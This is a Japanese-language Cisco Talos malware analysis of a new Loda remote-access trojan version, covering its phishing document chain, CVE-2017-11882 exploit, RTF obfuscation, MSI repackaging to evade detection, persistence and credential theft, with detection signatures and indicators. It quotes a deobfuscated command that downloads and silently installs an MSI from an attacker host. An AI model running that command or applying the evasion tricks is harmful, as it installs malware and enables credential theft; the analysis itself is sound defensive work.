Cisco Japan Blog

増殖する RAT「Loda」

1 min read



  • Cisco Talos はこの数ヵ月間、新バージョンの Loda を Web サイトでホストし、その Web サイトを利用するマルウェア攻撃を観察してきました。Loda は、AutoIT で記述されたリモートアクセス型トロイの木馬(RAT)です。
  • これらの Web サイトは、マルチステージの感染チェーンを開始する悪意のあるドキュメントをホストしていました。感染チェーンの最終段階では、細工された MSI ファイルが利用されます。第 2 段階のドキュメントは CVE-2017-11882popup_icon の脆弱性を突くことで、Loda バージョン1.1 を含む MSI ファイルをダウンロードして実行します。
  • 今回の攻撃は、米国だけでなく、南米と中米の国々もターゲットにしていると考えられます。

最新情報

Talos は、新バージョンの Loda で次のような変更点を観察しました。まず、AutoIT スクリプト内で使用されている難読化手法が、別の形式の文字列符号化に変更されています。また、感染したホストを再起動した後も Loda が確実に実行され続けるように、複数の永続化メカニズムが採用されました。さらに、WMI を活用して、感染したホストで実行されているウイルス対策ソリューションを列挙します。

 

 

 

仕組み

この記事で分析する Loda のサンプルは、ドキュメントのチェーンを通じて配信されています。最初のドキュメントには、エクスプロイトが含まれる 2 つ目のドキュメントへの OOXML 関係が含まれています。エクスプロイトがトリガーされると、「Loda」を含んだ MSI ファイルが標的のホストにダウンロードされ、実行されます。この RAT の主な目的は、ブラウザに保存されたユーザ名やパスワード、cookie を盗むことです。しかし、キーロギング、音声の録音、スクリーンショットも取得できるほか、攻撃者からのメッセージを感染先に表示する機能も備えています。

要点

Loda は、時間の経過と共に進化を遂げた RAT であり、シンプルではありますが効果的です。比較的シンプルな手法と基本的な難読化手法とを組み合わせるだけで効果を上げられることを示す好例です。Loda が採用している手法は簡素ですが、実装をわずかに変えるだけで検出を大幅に回避できることを実証しています。

攻撃の概要

Cisco Umbrella のテレメトリを踏まえると、今回の攻撃は非常にアクティブで、南米および中米の国々と米国を標的にしていると考えられます。C2 ドメインへのクエリの大部分を占める「4success[.]zapto[.]org」は、ブラジル、コスタリカ、米国から送信されています。同様に、「success20[.]hopto[.]org」へのクエリは、アルゼンチン、ブラジル、米国から送信されています。シスコのテレメトリによると、C2 通信は 2019 年の第 4 四半期にまでさかのぼります。

 

4success[.]zapto[.]org への DNS クエリ

 

success20[.]hopto[.]org への DNS クエリ

感染チェーン

攻撃がさまざまな難読化手法を採用していたため、Talos による分析の時点では、複数の感染ステージが検出回避で一定の功を奏していました。攻撃の第一段階となる最初のドキュメントは、フィッシングメールに添付されて配信されます。

 フィッシングメールの例

 

感染チェーンの最初のドキュメントは、「comprobante de confirmación de pago.docx」などの名前が付けられ、OOXML 関係を含んでいます。「/word/_rels」に置かれ、「http://lcodigo[.]com/apiW/config/uploads/tmp/documento.doc」にある 2 つ目のドキュメントを参照します。OOXML 関係を除けば、最初のドキュメントに特に注目すべき点はありません。このようにドキュメントを 2 段階に分けているのは、一部の電子メールフィルタを回避するためです。

OOXML 関係

 

2 つ目のドキュメントはリッチテキスト形式で、難読化された OLE オブジェクト内にペイロードを忍ばせています。OLE オブジェクトは、CVE-2017-11882(Microsoft Office の一部バージョンに存在する、任意のコード実行の脆弱性)の脆弱性を突くことで実行されます。ドキュメントのメタデータにある [作成者(Author)] フィールドの「obidah qudah」は、調査中に分析されたすべてのサンプルに共通していました。

作者名を詳しく調べたところ、これまで比較的長期にわたって不正な RTF ドキュメントに登場してきたことが判明しています。2017 年から VirusTotal に送られた悪意のあるドキュメントのうち、作成者フィールドに「obidah qudah」が含まれるものは 1,300 件近くに上ります。提出されたこれらのドキュメントの大多数は、CVE-2017-11882 の脆弱性を突いた RTF ファイルです。2 つ目のドキュメントはリッチテキスト形式で、難読化された OLE オブジェクト内にペイロードを忍ばせています。OLE オブジェクトは、CVE-2017-11882(Microsoft Office の一部バージョンに存在する、任意のコード実行の脆弱性)の脆弱性を突くことで実行されます。ドキュメントのメタデータにある [作成者(Author)] フィールドの「obidah qudah」は、調査中に分析されたすべてのサンプルに共通していました。

ただし、「最終更新者(Last Modified By)」フィールドはドキュメント間で一貫していません。2017 年からこれまでの数年間に、作成者名「obidah qudah」を使用するキャンペーンがいくつも実施されていますが、「最終更新者」フィールドはそれぞれ異なっていて、Loda 以外のさまざまなマルウェアが利用されているようです。これらのキャンペーンを開始したのが同じ攻撃者なのか、それとも複数の異なる攻撃者が 1 つの不正な RTF ドキュメントビルダーを共有したのかは不明です。本記事で分析する RTF ドキュメントでは、「最終更新者」の値が「Richard」に設定されています。

 

「obidah qudah」とラベル付けされた作成者

 

このドキュメント内の、エクスプロイトとペイロードが含まれる OLE オブジェクトは、RTF コントロールワードを利用する、興味深い難読化手法を採用しています。

 

難読化されたペイロード

 

オブジェクトで使用されているコントロールワード「\par」は段落の終わりを示しますが、「\ *」にはもう少し複雑な機能があります。コントロールワード「\ *」は、RTF リーダーが後に続くコントロールワードを理解しない場合にのみ、これを無視するように指示します。そのため、作成者は偽のコントロールワード(例:\par67234)を混入することができます。この手法を使用して OLE オブジェクトを分割すると、ペイロードが難読化されるだけでなく、RTF パーサーがオブジェクト全体を読み取ることもできなくなります。オブジェクトが実行されると、コントロールワードが無視され、次に示すように、コントロールワードの間にあるバイトがエクスプロイトペイロードに連結されます。

難読化を解除したペイロード

 

このペイロード内に、「cmd.exe & /C CD C: & msiexec.exe /i http://lcodigo[.]com/apiW/config/uploads/tmp/fkrkdn.msi /quiet」というコマンドがあるのがわかります。エクスプロイトがトリガーされると、悪意のある MSI ファイルがダウンロードされて実行されます。

この MSI は、Exe2Msi(Windows の実行可能ファイルを MSI ファイルに再パッケージするための一般的なツール)により作成されています。このツールは正当なソフトウェアで最もよく使用されますが、マルウェア作成者も多用しています。MSI パッケージでマルウェアを配信する利点のひとつは、検出率の低さです。悪意のある実行可能ファイルを MSI として再パッケージするだけで、検出レートは簡単に低下します。MSI として再パッケージすると、悪意のある実行可能ファイルの VirusTotal での検出レートは最大 50% 低下する可能性があります。さらに、他の形式の難読化手法と組み合わせることで、粗削りではあっても、検出回避手段として一層効果的になる場合もあります。

マルウェア

実行時に、「fkrkdn.msi」は「C:\Users\<user>\AppData\Roaming\Windata\JLMWFF.exe」に実行可能ファイルを抽出します。これは、コンパイルされた AutoIT スクリプトである Loda 1.1.1 バイナリです。Loda の旧バージョンとその機能に関する Proofpoint の詳しい記事は、こちらをご覧ください。

最初の C2 ビーコンは「JLMWFF.exe」からキャプチャされたもので、他バージョンの Loda にはなかった一意の署名「ZeXro0」が複数回繰り返されていました。「4success[.]zapto[.]org」への C2 通信には、感染したホストの OS バージョン、アーキテクチャ、ユーザ名などの情報が含まれます。ここから、Loda のバージョンが「1.1.1」であることもわかります。署名が同じであることを除けば、このビーコン形式に以前のバージョンと異なる点はありません。

新バージョンの Loda の機能は以前のバージョンのものとほぼ同じですが、実装と設計には大きな違いがあります。スクリプト内の一部の機能は完全に書き換えられいています。特に目に付く変更点は、使用されている難読化手法です。バージョン 1.1.1 では、次のようなシンプルな符号化アルゴリズムを使用して、ほぼすべての文字列または変数が難読化されています。

 

 Loda の符号化アルゴリズム

 

バージョン 1.1.1 の機能には、いくつか重要な変更点があります。旧バージョンの Loda は、ホスト上で実行されているウイルス対策ソフトウェアを検出するため、ウイルス対策ソフトウェアのプロセス名ごとに AutoIT 関数の PROCESSEXISTS() を呼び出していました。Loda 1.1.1 は次の難読化解除コードのように、「winmgmts:\\localhost\root\SecurityCenter2」に WMI クエリを実行して、インストールされているウイルス対策ソリューションを列挙します。

 

AV 列挙型関数

 

永続化のため、新バージョンでは、レジストリキーとスケジュールされたタスクの両方が追加されました。

 

永続性メカニズム

 

このバージョンの新しい機能は、「\filezilla\recentservers.xml」の内容を読み取る機能です。このドキュメントには、Filezilla が最近接続したサーバの IP アドレス、ユーザ名、パスワードが含まれています。これらのパスワードはプレーンテキストで保存されるか、base64 で符号化されることに注意してください。

Loda の新旧バージョンに共通する興味深い機能は、「QURAN」というコマンドです。このコマンドは、Microsoft Media Server(MMS)プロトコルを使用して、「live.mp3quran[.]net:9976」から Windows Media Player で音楽をストリーミングします。MMS は、Windows Media Player でメディアをストリーミングするための、Microsoft 独自の非推奨のネットワーク ストリーミング プロトコルです。

 

「QURAN」コマンド関数

このコマンドには、この URL でストリーミングされている音楽を感染したホストで再生する以外の機能はありません。

まとめ

新バージョンの Loda の機能は以前のバージョンと似ていますが、若干改良されています。Loda はシンプルですが、効果的であることが実証されていて、感染したホストにとって深刻な脅威となります。クレデンシャル窃盗機能は、重大な経済的損失やデータ漏洩を引き起こす危険性があります。難読化手法の変更により、攻撃者は検出レートを大幅に引き下げることに成功しました。永続化メカニズムと AV ソリューション検出に変更が加えられていることから、マルウェア作成者が Loda の機能を積極的に改良していることがわかります。

カバレッジ

Snort

[SID] 53031

ClamAV

Win.Packed.LokiBot-6963314-0
Doc.Exploit.Cve_2017_11882-7570663-1
Doc.Downloader.Loda-7570590-0

この脅威を検出してブロックする他の方法は、次のとおりです。

 

Advanced Malware Protection(AMP)は、これらの攻撃者によるマルウェアの実行の阻止に最適です。

Cisco クラウド Web セキュリティ(CWS)または Web セキュリティアプライアンス(WSA)の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。

E メールセキュリティは、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。

次世代ファイアウォール(NGFW)、次世代侵入防御システム(NGIPS)、および Meraki MX などのネットワーク セキュリティ アプライアンスは、今回の脅威に関連する不正アクティビティを検出します。

AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコセキュリティ製品に保護機能を組み込みます。

Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。

オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.orgpopup_icon で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。

IOCS:

http://lcodigo[.]com/apiW/config/uploads/tmp/documento.doc
http://lcodigo[.]com/apiW/config/uploads/tmp/fkrkdn.msi
http://lcodigo[.]com/apiW/config/uploads/tmp/kctlqz.msi
http://drinkfoodapp[.]com/AdminDF/assets/img/app/settings.doc
http://drinkfoodapp.com/AdminDF/assets/img/app/grcfne.msi
http://yewonder[.]com/wp-content/plugins/ltfhmam/eklnxx.msi
https://www[.]miracleworkstudios[.]com/wp-content/uploads/2019/12/app/updates.doc
http://wp[.]168gamer[.]com/secured/mcsonb.msi
http://wp[.]168gamer[.]com/secured/office.doc

Docs:

b5df816986a73e890f41ff0c0470a2208df523f17eb4eac9c5f0546da2ec161e
af42191fe2ea328080939ec656302a8f364dac44b5cd8277dcbaeb15ff499178
36865059f1c142ba1846591aae8d78d8a109a0dc327a88547e41e3663bad2eaf e15336491ab57a16a870edd5b135014b62387cb45e4e490b9d4091c54394dec4

MSI:

9edd2bfdb0c177f046cec1392d31ee3f67174e0a23fdf7e4b6fd580e769f0493
8b989db4a9f8c3f0fa825cca35386ac4be4e33fd2ea53a118d4f4dd8259aeccc
633f3970c31c9cb849bd5f66c3a783538bb2327b4bec5774b870f8b3b53ea3c1
C65668958c5dfeccb40abd0771c17d045f24c78f51ea6c3955e110f53ad8eece
740a5c19645d5a90fc1e11c84f5d6a058dc50206337aa37bbc783bd54ba84a79
6cb47f2ecd58349ffe65d7ea281eea2ebd231bbaac30843f872ae2249bd140b0

C2:

4success[.]zapto[.]org
success20[.]hopto[.]org
breakthrough[.]hopto[.]org

 

本稿は 2020年2月12日に Talos Grouppopup_icon のブログに投稿された「Loda RAT Grows Uppopup_icon」の抄訳です。

 

コメントを書く